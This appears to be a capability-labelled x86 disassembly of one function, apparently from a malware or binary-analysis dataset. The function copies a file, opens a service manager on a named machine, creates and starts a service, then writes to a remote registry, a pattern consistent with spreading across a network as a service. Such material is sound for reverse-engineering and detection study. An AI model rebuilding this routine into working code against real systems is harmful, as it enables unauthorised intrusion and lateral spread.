Function at 0x40280f
Capabilities:
Copy file
Create service
Get hostname
Start service

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2a34
call fcn.00407bd0
push ebx
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
push esi
push edi
mov dword [ebp - 4], 0x20
mov byte [ebp - 0x88], bl
je 0x402846
push dword [ebp + 0x10]
lea eax, [ebp - 0x88]
push eax
call fcn.004073c0
pop ecx
pop ecx
jmp 0x40285b
push 7
push 0xa
lea eax, [ebp - 0x88]
push 5
push eax
call fcn.00403624
add esp, 0x10
cmp dword [ebp + 0x18], ebx
je 0x402865
push dword [ebp + 0x18]
jmp 0x40286a
push 0x491b8c
lea eax, [ebp - 0x588]
push eax
call fcn.004073c0
mov esi, dword [ebp + 8]
pop ecx
pop ecx
lea eax, [ebp - 0x18c]
push esi
push eax
call fcn.004073c0
push dword [ebp + 0xc]
lea eax, [ebp - 0x18c]
push eax
call fcn.004073d0
add esp, 0x10
cmp dword [ebp + 0x14], ebx
je 0x4028b2
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
call fcn.004073c0
pop ecx
pop ecx
jmp 0x4028d4
push 1
push 0x40f1dc
call fcn.00407baf
push 2
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x290]
push edx
push eax
call fcn.00404156
add esp, 0x10
cmp dword [0x491e98], ebx
je 0x4028fa
push 1
push ebx
call fcn.00407baf
push 2
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x290]
push edx
push eax
call fcn.00404156
add esp, 0x10
lea eax, [ebp - 0x18c]
push eax
call fcn.004074b0
cmp byte [ebp + eax - 0x18d], 0x5c
lea eax, [ebp + eax - 0x18d]
pop ecx
jne 0x40291a
mov byte [eax], bl
cmp byte [ebp - 0x290], 0x5c
je 0x402936
lea eax, [ebp - 0x18c]
push 0x40e044
push eax
call fcn.004073d0
pop ecx
pop ecx
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.004073d0
pop ecx
lea eax, [ebp - 0x18c]
pop ecx
push ebx
push eax
lea eax, [ebp - 0x588]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402ac1
call fcn.00407baf
push 5
cdq
pop ecx
idiv ecx
test edx, edx
je 0x402999
call fcn.00407baf
cdq
mov ecx, 0x2800
idiv ecx
lea eax, [ebp - 0x18c]
add edx, 0x13080
push edx
push eax
call fcn.00403f63
pop ecx
pop ecx
push 0x1ed0
lea eax, [ebp - 0x2a34]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [ebp - 0x2a34]
mov byte [ebp - 0x1a20], bl
push eax
lea eax, [ebp - 0x18c]
push eax
call fcn.004054ef
add esp, 0x14
cmp dword [0x491e98], ebx
jne 0x402ac1
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 2]
push eax
call fcn.0040c590
pop ecx
test eax, eax
pop ecx
je 0x402ac1
push 2
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
call esi
mov edi, eax
cmp edi, ebx
jne 0x402a17
cmp dword [ebp + 0x1c], ebx
je 0x402ac1
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18c]
push ebx
push eax
push ebx
push 3
push 0x110
lea eax, [ebp - 0x88]
push ebx
push eax
lea eax, [ebp - 0x88]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push 1
push ebx
push dword [ebp + 8]
call esi
mov esi, eax
lea eax, [ebp - 0x88]
push 0x10
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push ebx
push ebx
push eax
mov dword [ebp + 0x10], eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push dword [ebp + 0x10]
mov dword [ebp + 0x18], eax
call edi
push esi
call edi
cmp dword [ebp + 0x18], ebx
jne 0x402be9
mov edx, 0x81
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x95a]
mov word [ebp - 0x95c], bx
mov word [ebp - 0xb64], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xb62]
cmp dword [0x491eac], ebx
rep stosd dword es:[edi], eax
mov dword [ebp + 0x10], ebx
mov dword [ebp + 0x18], ebx
stosw word es:[edi], ax
jne 0x402ac8
xor eax, eax
jmp 0x402bec
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x5c
jne 0x402ad7
mov dword [ebp + 0x18], 1
mov edi, 0x104
lea eax, [ebp - 0x95c]
push edi
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
push 1
push ebx
call esi
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xb64]
push edi
push eax
mov eax, dword [ebp + 0x18]
push 0xffffffffffffffff
add eax, ecx
push eax
push 1
push ebx
call esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0xb64]
push 2
push eax
lea eax, [ebp - 0x95c]
push eax
call dword [0x491eac]
test eax, eax
jne 0x402be9
push ebx
push ebx
lea eax, [ebp - 0x484]
push edi
push eax
mov eax, dword [ebp + 0x10]
push 0xffffffffffffffff
mov byte [ebp - 0x484], bl
push dword [eax + 0x18]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp + 0x14]
push eax
push 0x80000002
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x402bdb
lea eax, [ebp - 0x754]
push 3
push eax
call fcn.00403bd8
lea eax, [ebp - 0x484]
push 0x40e044
push eax
call fcn.004073d0
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.004073d0
lea eax, [ebp - 0x68c]
push ebx
push eax
push ebx
lea eax, [ebp - 0x484]
push ebx
push eax
mov byte [ebp - 0x68c], bl
call fcn.0040752b
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x68c]
push eax
lea eax, [ebp - 0x754]
push eax
push dword [ebp + 0x14]
call fcn.00404540
add esp, 0x3c
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [0x491eb4]
cmp eax, ebx
je 0x402be9
push dword [ebp + 0x10]
call eax
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret